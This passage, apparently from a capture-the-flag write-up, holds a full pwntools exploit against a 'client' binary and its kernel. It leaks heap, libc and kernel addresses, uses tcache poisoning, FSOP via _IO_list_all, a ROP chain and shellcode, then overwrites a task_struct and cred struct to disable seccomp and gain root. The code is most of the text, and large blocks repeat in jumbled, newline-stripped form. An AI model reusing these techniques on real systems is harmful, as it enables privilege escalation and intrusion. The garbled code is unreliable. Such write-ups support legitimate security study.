io.sendlineafter(b"choice: ", b"2") io.sendlineafter(b"index: ", b'1'*0xfff) lo, up, _ = view(0) libc.address = (up<<32|lo) - 0x1e6b20 log.info(f'{libc.address = :#014x}') make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8) make(name=b'A'*0x40) for i in range(7): make(name=b'A'*0x60) make(name=b'A'*0x40) free(10) free(2) free(1) make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00')) make(name=b'A'*0x40) make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00')) ''' 0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18] 0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret; 0x0011ecf7: syscall; ret; 0x0016032d: pop rsi; ret; 0x00189481: pop rdi; ret; 0x0011266f: pop rax; ret; 0x00160234: pop rdx; pop rbx; ret; 0x0015f4d9: pop rsp; ret; ''' fs = flat({ 0x00: b' sh', 0x08: p64(heap_base+0x9c0+0x10-0x18), 0x10: p64(libc.address+0x1547be), 0x20: p64(0), 0x28: p64(1), 0x88: p64(libc.address+0x1e87a0), 0xa0: p64(heap_base+0x9c0+0xe0), 0xc0: p64(0), 0xd8: p64(libc.sym._IO_wfile_jumps), 0xe0+0x18: p64(0), 0xe0+0x30: p64(0), 0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68), 0xe0+0xe8: p64(libc.address+0x14acdc), }, filler=b'\x00') rop = flat([ libc.address+0x189481, heap_base+0x1000, libc.address+0x16032d, 0x1000, libc.address+0x160234, 7, 0, libc.address+0x11266f, 10, libc.address+0x11ecf7, libc.address+0x15f4d9, heap_base+0x1010 ]) sc = b'' sc += asm('nop')*0x20 sc += asm(f''' mov rax, qword ptr [rsp] mov rax, qword ptr [rax] sub rax, 208 mov r12, rax mov rax, qword ptr [rax] sub rax, 0x4d40 add rax, 0x1000 mov r13, rax mov rdi, r13 mov rsi, 0x2000 mov rdx, 7 mov rax, 10 syscall mov rdi, 1 mov rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov qword ptr [rsp], r13 lea rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov rax, r13 add rax, 0x8a9 mov rdi, rax mov byte ptr [rdi], 0x48 mov byte ptr [rdi+1], 0x31 mov byte ptr [rdi+2], 0xc0 mov byte ptr [rdi+3], 0xc3 mov rax, r13 add rax, 0x3d4 mov rdi, rax mov byte ptr [rdi], 0x0 mov rax, r13 add rax, 0xdcc mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])} {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])} mov rax, r13 add rax, 0xd7c mov rdi, rax mov byte ptr [rdi], 0x89 mov byte ptr [rdi+1], 0xc1 mov rax, r13 add rax, 0x1188 mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])} mov rax, r13 add rax, 0x10e8 mov rsp, r12 add rsp, 8 mov rbp, rsp sub rsp, 0x10 push rax ret ''') sc = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90') make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250) make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00')) io.sendlineafter(b"choice: ", b"4") sleep(1) io.recvline() stack = u64(io.recv(8)) exe.address = u64(io.recv(8)) - 0x1000 log.info(f'{stack = :#014x}') log.info(f'{exe.address = :#014x}') def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + data def make_pic(chunks): return p32(0x13379001) + b"".join(chunks) kbase = 0 stable_leaks = { 0x44cc0: 0x8137a0, 0xa7e50: -0xb4f9f0, 0xa7e10: -0xb4f9b0, 0x47d80: 0x8106e0, 0x939c0: 0x7c4aa0, 0x02e00: 0x855660, } leaks = [] with log.progress('hunting kleak') as p: for x in range(7): p.status(f'round {x+1}/7') for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1) view(x*12, iss=1, count=0) data = io.recvuntil(b'index: ', drop=True).strip() for j in range(0, len(data)//8*8, 8): val = u64(data[j:j+8]) if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val) for val in leaks: l20 = val & 0xfffff if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break if kbase != 0: p.success(f'{kbase = :#014x}') ; break else: continue else: p.failure('failed to get kleak') if kbase != 0: break io.close()if args.GDB and not args.REMOTE: gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_") gdbinit.write(f"""init-gef-batatarget remote localhost:1234ksymaddr-remote-applyc""") gdbinit.flush() gdbinit.close() subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)io.interactive()
In order to do that we have to find the task struct of /client which we can do by walking the task doubly linked list and matching the comm field (+0xbf0) to check if it’s /client.
We have to get arbitary read to walk this linked list which we can get by overflowing and setting the next field to target but, there are a few limitations like that first qword should preferably be NULL and the second qword should be less than 0xf000 but large enough to leak the task and comm field.
After looking at the struct I found that task+0x37 is a perfect target as the first qword is always zero and the second qword is always less than 0xf000 but greater than 0x1000 allowing us to leak the next & prev fields of task and comm field.
First we have to bypass randomization which can do that by allocating pic objects with single chunks where each chunk overflows and writes the chunk-{i} in data of the next chunk. After that we can read each chunk and by using this oracle we can figure out which chunk is before it.
idx = ((x+1)*12)adj = {}for i in range(9): make(data=make_pic([make_chunk(b''.ljust(0x130, b'\x00')+p64(0x140)+p64(0)+f'chunk-{i}'.encode())]), iss=1)for i in range(9): view(idx+i, iss=1) data = io.recvuntil(b'index: ', drop=True).strip() m = re.match(rb'chunk-(\d+)', data) if m: adj[idx+int(m.group(1))] = idx+i log.info(f"adj: {adj}")assert adj != {}left, right = list(adj.keys())[0], adj[list(adj.keys())[0]]
Here left is the chunk just before right so, we are going to free left to overflow right! We walk the chain backwards as it’s much faster.
We allocated 9 chunks from the freelist so there are still three left so, we allocate two of those so there is only one left and then free right and then free left so, we have something like left->right->some chunk in the freelist. We then allocate left and overflow to overwrite the forward pointer to task_struct-0x140 and then we allocate again to reallocate right. Now, when we allocate we get task_struct-0x140 and we can unset SYSCALL_WORK_BIT_SECCOMP in thread_info->syscall_work to bypass the seccomp. We do the same thing for the cred_struct and zero out first few fields like uid,gid,suid etc.
for i in range(2): make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)free(right, iss=1)free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(task_struct-0x140))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0x80000)+p64(0))]), iss=1)left=idx+1 ; right=idx+2free(idx, iss=1)free(right, iss=1)free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(cred_struct-0x120))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x108, b'\x00')+p64(2)+b'\x00'*0x28)]), iss=1)
After this we can just exit because we have unset the seccomp, nulled out cred_struct so, the open-read-write shellcode that we wrote at the end of main() gets executed giving us the flag!
Conclusion
#!/usr/bin/env python3from pwn import *exe = context.binary = ELF(args.EXE or './client')libc = ELF('./libc.so.6')def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)def make(name=None, data=p32(0x13379001), iss=0): if name is None: name = os.urandom(0x10) io.sendlineafter(b"choice: ", b"1") io.sendlineafter(b"name len: ", str(len(name)).encode()) io.sendlineafter(b"name: ", name.hex().encode()) io.sendlineafter(b"pic len: ", str(len(data)).encode()) io.sendlineafter(b"pic: ", data.hex().encode()) io.sendlineafter(b"save pic? ", str(iss).encode())def free(idx, iss=0): io.sendlineafter(b"choice: ", b"2") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"delete pic? ", str(iss).encode())def view(idx, iss=0, count=0): io.sendlineafter(b"choice: ", b"3") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"view pic? ", str(iss).encode()) if iss: io.sendlineafter(b"count: ", str(count).encode()) ; io.recvline() ; return io.recvuntil(b'index: ') m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline()) if not m: return None, None, None return int(m.group(1)), int(m.group(2)), m.group(3).strip()def demangle(v): m = 0xfff << 52 while m: v ^= (v & m) >> 12; m >>= 12 return vgdbscript = '''init-pwndbgc'''.format(**locals())while True: io = process(["/bin/sh", "./run.sh"]) for i in range(5): make(name=b'A'*0x60) for i in range(5): free(i) for i in range(3): make(name=b'A'*0x60) free(0) free(1) make(name=b'A'*0x60) free(1) lo, up, _ = view(0) heap_base = (demangle(up<<32|lo)>>12)<<12 log.info(f'{heap_base = :#014x}') for i in range(7+2): make(name=b'A'*0x60) for i in range(4, 10): free(i) free(2) free(3) free(1) io.sendlineafter(b"choice: ", b"2") io.sendlineafter(b"index: ", b'1'*0xfff) lo, up, _ = view(0) libc.address = (up<<32|lo) - 0x1e6b20 log.info(f'{libc.address = :#014x}') make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8) make(name=b'A'*0x40) for i in range(7): make(name=b'A'*0x60) make(name=b'A'*0x40) free(10) free(2) free(1) make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00')) make(name=b'A'*0x40) make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00')) ''' 0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18] 0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret; 0x0011ecf7: syscall; ret; 0x0016032d: pop rsi; ret; 0x00189481: pop rdi; ret; 0x0011266f: pop rax; ret; 0x00160234: pop rdx; pop rbx; ret; 0x0015f4d9: pop rsp; ret; ''' fs = flat({ 0x00: b' sh', 0x08: p64(heap_base+0x9c0+0x10-0x18), 0x10: p64(libc.address+0x1547be), 0x20: p64(0), 0x28: p64(1), 0x88: p64(libc.address+0x1e87a0), 0xa0: p64(heap_base+0x9c0+0xe0), 0xc0: p64(0), 0xd8: p64(libc.sym._IO_wfile_jumps), 0xe0+0x18: p64(0), 0xe0+0x30: p64(0), 0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68), 0xe0+0xe8: p64(libc.address+0x14acdc), }, filler=b'\x00') rop = flat([ libc.address+0x189481, heap_base+0x1000, libc.address+0x16032d, 0x1000, libc.address+0x160234, 7, 0, libc.address+0x11266f, 10, libc.address+0x11ecf7, libc.address+0x15f4d9, heap_base+0x1010 ]) sc = b'' sc += asm('nop')*0x20 sc += asm(f''' mov rax, qword ptr [rsp] mov rax, qword ptr [rax] sub rax, 208 mov r12, rax mov rax, qword ptr [rax] sub rax, 0x4d40 add rax, 0x1000 mov r13, rax mov rdi, r13 mov rsi, 0x2000 mov rdx, 7 mov rax, 10 syscall mov rdi, 1 mov rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov qword ptr [rsp], r13 lea rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov rax, r13 add rax, 0x8a9 mov rdi, rax mov byte ptr [rdi], 0x48 mov byte ptr [rdi+1], 0x31 mov byte ptr [rdi+2], 0xc0 mov byte ptr [rdi+3], 0xc3 mov rax, r13 add rax, 0x3d4 mov rdi, rax mov byte ptr [rdi], 0x0 mov rax, r13 add rax, 0xdcc mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])} {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])} mov rax, r13 add rax, 0xd7c mov rdi, rax mov byte ptr [rdi], 0x89 mov byte ptr [rdi+1], 0xc1 mov rax, r13 add rax, 0x1188 mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])} mov rax, r13 add rax, 0x10e8 mov rsp, r12 add rsp, 8 mov rbp, rsp sub rsp, 0x10 push rax ret ''') sc = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90') make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250) make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00')) io.sendlineafter(b"choice: ", b"4") sleep(1) io.recvline() stack = u64(io.recv(8)) exe.address = u64(io.recv(8)) - 0x1000 log.info(f'{stack = :#014x}') log.info(f'{exe.address = :#014x}') def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + data def make_pic(chunks): return p32(0x13379001) + b"".join(chunks) kbase = 0 stable_leaks = { 0x44cc0: 0x8137a0, 0xa7e50: -0xb4f9f0, 0xa7e10: -0xb4f9b0, 0x47d80: 0x8106e0, 0x939c0: 0x7c4aa0, 0x02e00: 0x855660, } leaks = [] with log.progress('hunting kleak') as p: for x in range(7): p.status(f'round {x+1}/7') for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1) view(x*12, iss=1, count=0) data = io.recvuntil(b'index: ', drop=True).strip() for j in range(0, len(data)//8*8, 8): val = u64(data[j:j+8]) if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val) for val in leaks: l20 = val & 0xfffff if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break if kbase != 0: p.success(f'{kbase = :#014x}') ; break else: continue else: p.failure('failed to get kleak') if kbase != 0: break io.close()if args.GDB and not args.REMOTE: gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_") gdbinit.write(f"""init-gef-batatarget remote localhost:1234ksymaddr-remote-applyc""") gdbinit.flush() gdbinit.close() subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)idx = ((x+1)*12)adj = {}for i in range(9): make(data=make_pic([make_chunk(b''.ljust(0x130, b'\x00')+p64(0x140)+p64(0)+f'chunk-{i}'.encode())]), iss=1)for i in range(9): view(idx+i, iss=1) data = io.recvuntil(b'index: ', drop=True).strip() m = re.match(rb'chunk-(\d+)', data) if m: adj[idx+int(m.group(1))] = idx+i log.info(f"adj: {adj}")assert adj != {}left, right = list(adj.keys())[0], adj[list(adj.keys())[0]]init_task = kbase+0x01812940free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(init_task+0x37)+p64(0))]), iss=1)view(right, iss=1)_prev = u64(io.recvuntil(b'index: ', drop=True)[0x900-0x37-0x18+0x8+1:][:8])-0x900_next = init_task+0x900idx=left=idx+9-1while True: free(left, iss=1) make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(_prev+0x37)+p64(0))]), iss=1) view(right, iss=1) data = io.recvuntil(b'index: ', drop=True) if b'client' in data[0xbf0-0x37-0x18:][:0x20]: task_struct = _prev ; break temp = _prev+0x9000 _prev = u64(data[data.index(p64(_next))+0x8:][:8])-0x900 _next = tempcred_struct = u64(data[data.index(b'client')-0x10:][:8])log.info(f'{task_struct = :#014x}')log.info(f'{cred_struct = :#014x}')if args.GDB and not args.REMOTE: gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_") gdbinit.write(f"""init-gef-batatarget remote localhost:1234ksymaddr-remote-applyc""") gdbinit.flush() gdbinit.close() subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(0)+p64(0x140))]), iss=1)for i in range(2): make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)free(right, iss=1)free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(task_struct-0x140))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0x80000)+p64(0))]), iss=1)left=idx+1 ; right=idx+2free(idx, iss=1)free(right, iss=1)free(left, iss=1)make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(cred_struct-0x120))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)make(data=make_pic([make_chunk(b''.ljust(0x108, b'\x00')+p64(2)+b'\x00'*0x28)]), iss=1)io.sendlineafter(b"choice: ", b"4")io.interactive()